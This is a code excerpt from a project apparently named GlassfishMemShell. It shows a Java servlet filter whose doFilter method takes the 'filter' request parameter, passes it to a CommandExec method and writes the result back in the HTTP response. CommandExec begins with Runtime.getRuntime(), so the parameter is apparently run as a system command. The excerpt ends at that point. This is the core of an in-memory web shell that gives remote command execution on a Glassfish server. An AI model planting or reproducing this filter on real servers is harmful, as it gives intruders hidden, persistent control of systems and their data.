Method doFilter

GlassfishMemShell/src/main/java/com/axisx/MyFilter.java:15–33

(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException, IOException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;

        try {
            HttpServletResponse resp = this.getResponseFromRequest(req);
            String cmd = req.getParameter("filter");
            String result = this.CommandExec(cmd);
            //            resp.setContentType("text/html;charset=UTF-8");
            PrintWriter out = resp.getWriter();
            out.println(result);
            out.flush();
            filterChain.doFilter(servletRequest, servletResponse);
        } catch (Exception e) {
            e.printStackTrace();
        }


    }

    public String CommandExec(String cmd) throws Exception {
        Runtime rt = Runtime.getRuntime();